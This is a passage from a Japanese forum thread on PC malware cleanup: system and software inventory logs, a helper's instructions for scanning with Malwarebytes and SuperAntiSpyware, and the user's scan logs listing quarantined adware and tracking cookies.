O23 - Service: MBAMScheduler - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - D:\ProgramFiles\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: NFC Proxy Service (NFCProxyService) - Sony Corporation - D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
O23 - Service: RealNetworks Downloader Resolver Service - Unknown owner - D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
O23 - Service: Wyse PocketCloud (WysePocketCloud) - Unknown owner - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
O23 - Service: Wyse Remote Access (WyseRemoteAccess) - Wyse Technology. - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe

--
End of file - 9297 bytes


CCのインストール情報
+Lhaca 2014/02/17
Adobe AIR Adobe Systems Incorporated 2013/04/21 3.7.0.1530
Adobe Flash Player 12 ActiveX Adobe Systems Incorporated 2014/02/26 12.0.0.70
Adobe Flash Player 12 Plugin Adobe Systems Incorporated 2014/02/26 12.0.0.70
Adobe Reader XI (11.0.06) - Japanese Adobe Systems Incorporated 2014/02/09 149.00 MB 11.0.06
Apple Application Support Apple Inc. 2012/12/24 66.77 MB 2.3
Apple Mobile Device Support Apple Inc. 2012/12/24 24.55 MB 6.0.1.3
Apple Software Update Apple Inc. 2011/11/05 2.38 MB 2.1.3.127
ASIO Proxy for foobar2000 Maxim V.Anisiutkin 2014/03/02 0.6.5
ASIO4ALL Michael Tippach 2014/02/17 2.10
astah professional 6.1 Change Vision, Inc. 2014/02/17
ATOK 2009 株式会社ジャストシステム 2009/12/14 161.00 MB 22.0.3.0
BUFFALO AirStation倍速設定ツール（アンインストール） 2014/03/03
BUFFALO クライアントマネージャ３ 2014/03/02
BUFFALO 親機子機切り替えツール BUFFALO INC. 2014/02/17
Canon ScanGear Toolbox CS 2.2 2014/02/17
CCleaner Piriform 2014/03/01 4.11
Compatibility Pack for the 2007 Office system Microsoft Corporation 2014/01/16 275.00 MB 12.0.6612.1000
Craving Explorer Version 1.5.2 T-Craft 2013/10/13 1.5.2.0
Creative EAX ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｽﾋﾟｰｶｰ ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｿﾌﾄｳｪｱ ｵｰﾄｱｯﾌﾟﾃﾞｰﾄ
Dropbox Dropbox, Inc. 2014/02/17 2.4.11
DVD Shrink 3.2 DVD Shrink 2014/02/17
FeliCa Launcher Sony Corporation 2013/04/21 1.4.1.3
FFFTP Ver.1.98e FFFTP Project 2014/02/17
FLAC 1.2.1b (remove only) Xiph.org 2014/02/17 1.2.1b
Google Chrome Google Inc. 2010/05/29 32.0.1700.41
HandBrake 0.9.8 2014/02/17 0.9.8
IDiskバックアップツール 株式会社ジャストシステム 2009/11/13 0.1.1.0
iExplorer 2.2.1.3 Macroplant, LLC 2012/02/11
iFunbox (v2.7.2386.747), iFunbox DevTeam 2014/01/05 v2.7.2386.747
ImgBurn LIGHTNING UK! 2014/03/02 2.5.8.0
Intel(R) Graphics Media Accelerator Driver 2014/03/02
IObit Uninstaller IObit 2014/03/01 3.1.7.2405
iPhone 構成ユーティリティ Apple Inc. 2012/12/24 12.73 MB 3.6.1.296
iTunes Apple Inc. 2012/12/24 187.00 MB 11.0.1.12
Java 7 Update 51 Oracle 2013/04/21 129.00 MB 7.0.510
jetAudio Basic VX COWON 2010/01/05 8.0.0
JUSTｵﾝﾗｲﾝｱｯﾌﾟﾃﾞｰﾄ 株式会社ジャストシステム 2012/05/27 1.0.1.0
Malwarebytes Anti-Malware バージョン 1.75.0.1300 Malwarebytes Corporation 2014/02/16 1.75.0.1300
McAfee Security Scan Plus McAfee, Inc. 3.8.141.11
MediaInfo 0.7.67 MediaArea.net 2014/02/17 0.7.67
Mercurial 2.4.0 (x86) Matt Mackall and others 2012/11/24 24.27 MB 2.4.0
Microsoft .NET Framework 2.0 Service Pack 2 Microsoft Corporation 2014/02/13 3,483.00 MB 2.2.30729
Microsoft .NET Framework 2.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 6.23 MB 2.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Microsoft Corporation 2013/10/15 446.00 MB 3.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 9.40 MB 3.2.30729
Microsoft .NET Framework 4 Client Profile Microsoft Corporation 2014/02/13 4.0.30319
Microsoft .NET Framework 4 Extended Microsoft Corporation 2014/02/13 4.0.30319
Microsoft Office Excel Viewer Microsoft Corporation 2013/12/12 75.86 MB 12.0.6612.1000
Microsoft Office XP Professional with FrontPage Microsoft Corporation 2011/06/25 448.00 MB 10.0.6626.0
Microsoft Silverlight Microsoft Corporation 2013/10/09 275.00 MB 5.1.20913.0
Microsoft SQL Server 2008 Microsoft Corporation 2014/02/17
Microsoft SQL Server 2008 Browser Microsoft Corporation 2010/02/28 7.95 MB 10.0.1600.22
Microsoft SQL Server 2008 Management Objects Microsoft Corporation 2010/02/28 11.47 MB 10.0.1600.22
Microsoft SQL Server 2008 Native Client Microsoft Corporation 2010/02/28 4.82 MB 10.0.1600.22
Microsoft SQL Server 2008 セットアップ サポート ファイル (英語) Microsoft Corporation 2010/02/28 35.48 MB 10.0.1600.22
Microsoft SQL Server Compact 3.5 SP1 デザイン ツール日本語版 Microsoft Corporation 2010/02/28 9.17 MB 3.5.5692.0
Microsoft SQL Server Compact 3.5 SP1 日本語版 Microsoft Corporation 2010/02/28 2.87 MB 3.5.5692.0
Microsoft SQL Server VSS Writer Microsoft Corporation 2010/02/28 6.50 MB 10.0.1600.22
Microsoft Visual C# 2008 Express Edition SP1 - 日本語 Microsoft Corporation 2014/02/17
Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 Microsoft Corporation 2010/01/12 0.11 MB 8.0.50727.4053
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2011/06/25 5.28 MB 8.0.61001
Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 Microsoft Corporation 2010/03/02 0.15 MB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 Microsoft Corporation 2010/02/28 10.28 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/04/06 9.64 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2011/06/25 10.20 MB 9.0.30729.6161
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for .NET Framework - jpn Microsoft Corporation 2010/02/28 5.75 MB 3.5.30729
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for Win32 Microsoft Corporation 2010/02/28 2.61 MB 6.1.5295.17011
MobileMe Control Panel Apple Inc. 2011/02/14 11.97 MB 3.1.5.0
Mozilla Firefox 27.0.1 (x86 ja) Mozilla 2014/03/01 27.0.1
Mozilla Maintenance Service Mozilla 2014/03/01 27.0.1
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2009/11/14 2.67 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2009/12/14 2.77 MB 4.20.9876.0
MSXML 6.0 Parser (KB933579) Microsoft Corporation 2010/02/28 1.40 MB 6.10.1200.0
NFC Port Software Sony Corporation 2013/04/21 5.2.3.1
Orchis 2014/02/17
Paint.NET v3.5.10 dotPDN LLC 2013/04/03 14.62 MB 3.60.0
PC/SC Activator for Type B Sony Corporation 2013/04/21 1.2.1.0
PDF reDirect (remove only) EXP Systems LLC 2014/02/17 v2.5.2
PhoneTrans 3.3.8 iMobie Inc. 2013/03/12 3.3.8
Picasa 3 Google, Inc. 2014/02/17 3.8
PocketCloud Windows Companion 会社名 2013/04/06 16.15 MB 2.5.13
Python 2.4.3 Martin v. Lis 2012/11/24 29.34 MB 2.4.3150
QuickTime Apple Inc. 2011/02/14 73.72 MB 7.69.80.9
RealPlayer RealNetworks 2014/02/17 16.0.3
Safari Apple Inc. 2011/03/10 41.27 MB 5.33.20.27
SFCard Viewer 2 Sony Corporation 2013/04/21 2.4.1.2
Sleipnir Version 4.3.4 Fenrir Inc. 2013/05/16 4.3.4
Sound Blaster 5.1 VX 2014/02/17 1.0
SQL Server System CLR Types Microsoft Corporation 2010/02/28 0.81 MB 10.0.1600.22
Surround Mixer 2014/02/17
Tera Term 4.74 2012/08/14
Widget Manager Sony Corporation 2013/04/21 2.4
Windows Feature Pack for Storage (32-bit) - IMAPI update for Blu-Ray Microsoft Corporation 2011/01/03 1.0
Windows Genuine Advantage Validation Tool (KB892130) Microsoft Corporation 2009/11/11
Windows Internet Explorer 8 Microsoft Corporation 2009/11/12 20090308.140743
Windows Management Framework Core Microsoft Corporation 2010/02/27
WinRAR アーカイバ 2014/02/17
カシミール ３Ｄ ＤＡＮ杉本 2011/02/07 8.9.0



状態報告
特にパソコンに問題はありません、多少動作が早くなった気がします。
  • wysksun
  • 2014/03/03 (Mon) 12:14:37
返信フォームへ 
全員見落としていた模様です
大変失礼いたしました。
回答者全員見落としていた模様です。

では以下のソフトウェアをご用意ください。

Malwarebytes Anti-Malware（通称・MBAM。説明サイト）
http://fine.tok2.com/home/heto2/0700SecurityApp/Malwarebytes/0001.htm
ダウンロード↓（ファイル直リンです。表示して数秒後にダウンロード開始の表示が出ます）
http://www.malwarebytes.org/mwb-download/
インストールの最後に出てくるMalwarebytes Anti-Malware Pro版の無料試用を開始する。のチェックを外します。
このソフトウェアは日本語対応ではありますが、初回起動時は日本語が文字化けを起こしておりますので、以下の手順で文字化けを解消しましょう。
MBAMを起動させてください。
MBAMを起動時に自動アップデートが始まりますので、アップデート終了までお待ちください。
設定タブを開き、Japaneseをクリックし、言語のリストが表示されましたら、再度Japaneseをクリックすることで、文字化けが解消されます。
片付け時はセーフモードからIUを利用してアンインストールしてください。

SuperAntiSpyware（通称・SAS。説明↓）
http://www.softnavi.com/superantispyware.html
本家のダウンロードサイト↓
http://www.superantispyware.com/
ダウンロード、インストールが完了しましたら、起動させると自動的にアップデートが始まります。
アップデートが完了しましたら、現段階では作業を行いませんので、SASを終了させておきましょう。
作業途中で使い方説明をしておりますので、そちらも参考になされてください。
片付け時はセーフモードでIUを利用してアンインストールしてください。

ここで使うのはともにFree（無償版）です。

それでは作業を開始します。
セーフモードで起動させてください。
IUを利用して、以下のプログラムをアンインストールしてください。

McAfee Security Scan Plus McAfee, Inc. 3.8.141.11

IUでの作業が終わりましたら、MBAMとSASを使って順番にスキャンしてください。
まずはMBAMからスキャンを行いましょう。
MBAMを起動させます。
フルスキャンを選択し、スキャン開始をクリックします。
スキャン終了まで30分～1時間程度お待ちください。
スキャンが完了したら、詳細を表示をクリックします。
検出されたものの一覧が出ますので、検出されたものすべてを駆除するため、
検出されたものの左側にあるチェックボックスすべてに余すことなくチェックを入れます。
すべてにチェックを入れたら選択されたアイテムを隔離ボタンを押します。
最後にログが出ますので、ログを分かりやすい場所に保存してください。
ログ保存が完了したら、MBAMを終了させます。

MBAMを終了させたら、SASを起動させてください。
右側にあるSelect Scan Typeの部分をComplete Scanに変更し、
Scan your Computer...をクリックします。
30分～1時間程度かかります。
スキャンが完了したら、をクリックし、一覧を表示させます。
一覧に表示されているものすべてにチェックが入っているのを確認し、
Remove Threatsをクリックします。
最後にログが表示されますので、分かりやすい場所に保存してください。
なお、SASのログは画面中央の「System Tools & Program Settings」から「Scan logs」を開くと、
スキャンした日時のごとのログのリストが出ます。
そこで最初に処置した日時のログを選んでそれをダブルクリックすると、そのログの内容が表示されます。

両アプリでの作業が済んだらそこでPCを通常モードで再起動してください。

取得された2つのログを貼り付け、ご報告をお願いいたします。
  • IVNO
  • MAIL
  • 2014/03/10 (Mon) 12:48:00
返信フォームへ 
MBAMとSASのログになります。
MBAMのログになります。

Malwarebytes Anti-Malware 1.75.0.1300
www.malwarebytes.org

定義バージョン： v2014.03.15.06

Windows XP Service Pack 3 x86 NTFS (セーフモード)
Internet Explorer 8.0.6001.18702
kwata :: SIRIUS [管理者]

2014/03/16 11:05:30
mbam-log-2014-03-16 (11-05-30).txt

スキャンタイプ： フルスキャン (C:\|D:\|)
有効なスキャン領域： メモリ | スタートアップ | レジストリ | ファイルシステム | ヒューリスティック/追加アイテムのスキャン　 | ヒューリスティック/Shuriken　エンジンを使用してスキャン　 | 不審なプログラム　（PUP） | 不審な変更　（PUM）
無効なスキャン領域: ピア・ツー・ピアプログラム（P2P）
スキャンしたアイテム数: 1019785
経過時間： 2 時間, 27 分, 2 秒

メモリプロセスの検出: 0
(悪意のあるアイテムは検出されていません。)

メモリモジュールの検出: 0
(悪意のあるアイテムは検出されていません。)

レジストリキーの検出: 1
HKLM\SOFTWARE\{77D46E27-0E41-4478-87A6-AABE6FBCF252} (PUP.Optional.GreatSaver.A) -> 正常に隔離され削除されました。

レジストリ値の検出: 0
(悪意のあるアイテムは検出されていません。)

レジストリデータ項目の検出: 0
(悪意のあるアイテムは検出されていません。)

フォルダの検出: 8
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\237B0BDDBDC84EA6BD3C1475123FA206 (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\4CFAD55EA19549C3AF41AECE4C5CC643 (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\237B0BDDBDC84EA6BD3C1475123FA206 (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\4CFAD55EA19549C3AF41AECE4C5CC643 (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。

ファイルの検出: 33
C:\AdwCleaner\Quarantine\C\Documents and Settings\All Users\Application Data\cOuntiynUEyteOsave\51814029373ef.dll.vir (PUP.Optional.MultiPlug.A) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\237B0BDDBDC84EA6BD3C1475123FA206\speedupmypcJP.exe (PUP.Optional.SpeedUpMyPC) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\4CFAD55EA19549C3AF41AECE4C5CC643\sp-downloader.exe (PUP.Optional.Conduit.A) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\INTERNALWRAPPER.exe (PUP.Optional.Searchprotect) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000000 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000001 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000002 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000003 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000004 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000005 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000006 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000007 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000008 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000009 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000010 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000011 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\001\t\00\00000012 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\File System\002\t\00\00000000 (PUP.Optional.Somoto) -> 正常に隔離され削除されました。
D:\Download\e603_anna_sakai.part1.rar.exe (PUP.Optional.InstalleRex) -> 正常に隔離され削除されました。
D:\Downloads\FreeAudioDub.exe (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
D:\Downloads\iLividSetup-r210-n-bc.exe (PUP.Optional.Bandoo) -> 正常に隔離され削除されました。
D:\Downloads\MediaInfo_GUI_0.7.67_Windows.exe (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
D:\RECYCLER\S-1-5-21-1645522239-706699826-1606980848-1006\Dd317.exe (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
D:\RECYCLER\S-1-5-21-1645522239-706699826-1606980848-1006\Dd319.exe (PUP.Optional.Softonic.A) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\237B0BDDBDC84EA6BD3C1475123FA206\speedupmypcJP.exe (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\4CFAD55EA19549C3AF41AECE4C5CC643\sp-downloader.exe (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\4251.ico (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\EBB77268-338F-4C6A-8590-AD88FED26F4A (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\INTERNALWRAPPER.exe (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\OCBrowserHelper_1.0.3.85.dll (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\4251.ico (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\EBB77268-338F-4C6A-8590-AD88FED26F4A (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\OpenCandy\70F024E31687494D84FFA677FBB39D1A\OCBrowserHelper_1.0.3.85.dll (PUP.Optional.OpenCandy) -> 正常に隔離され削除されました。

(終)


SASのログになります。

SUPERAntiSpyware Scan Log
http://www.superantispyware.com

Generated 03/16/2014 at 03:54 PM

Application Version : 5.7.1018

Core Rules Database Version : 11103
Trace Rules Database Version: 8915

Scan type : Complete Scan
Total Scan Time : 02:11:05

Operating System Information
Windows XP Professional 32-bit, Service Pack 3 (Build 5.01.2600)
Administrator

Memory items scanned : 250
Memory threats detected : 0
Registry items scanned : 35833
Registry threats detected : 0
File items scanned : 110236
File threats detected : 502

Adware.Tracking Cookie
.dlv.itmedia.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
t.webtracker.jp [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.custom-click.net [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.custom-click.net [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.custom-click.net [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.custom-click.net [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.custom-click.net [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.custom-click.net [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
cast.custom-click.net [ C:\DOCUMENTS AND SETTINGS\DIIZUKA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\VQP3GLUN.DEFAULT\COOKIES.SQLITE ]
ad.insightexpressai.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MACROMEDIA\FLASH PLAYER\#SHAREDOBJECTS\N7VA2UBB ]
content.yieldmanager.edgesuite.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MACROMEDIA\FLASH PLAYER\#SHAREDOBJECTS\N7VA2UBB ]
media.scanscout.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MACROMEDIA\FLASH PLAYER\#SHAREDOBJECTS\N7VA2UBB ]
myaff.gekimedia.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MACROMEDIA\FLASH PLAYER\#SHAREDOBJECTS\N7VA2UBB ]
secure-us.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MACROMEDIA\FLASH PLAYER\#SHAREDOBJECTS\N7VA2UBB ]
www.backcountrygear.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MACROMEDIA\FLASH PLAYER\#SHAREDOBJECTS\N7VA2UBB ]
.adfarm1.adition.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
cast.trustclick.ne.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.mmstat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
www7.addfreestats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.imrworldwide.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.questionbox.jp.msn.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.dlv.itmedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.find.2ch.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
www.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.gostats.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.click.livedoor.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.click-assist.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
zbox.zanox.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
ads2.zeusclicks.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
jbpress.ismedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.ismedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.jbpress.ismedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.jbpress.ismedia.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
.legolas-media.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\WECKU2T3.DEFAULT\COOKIES.SQLITE ]
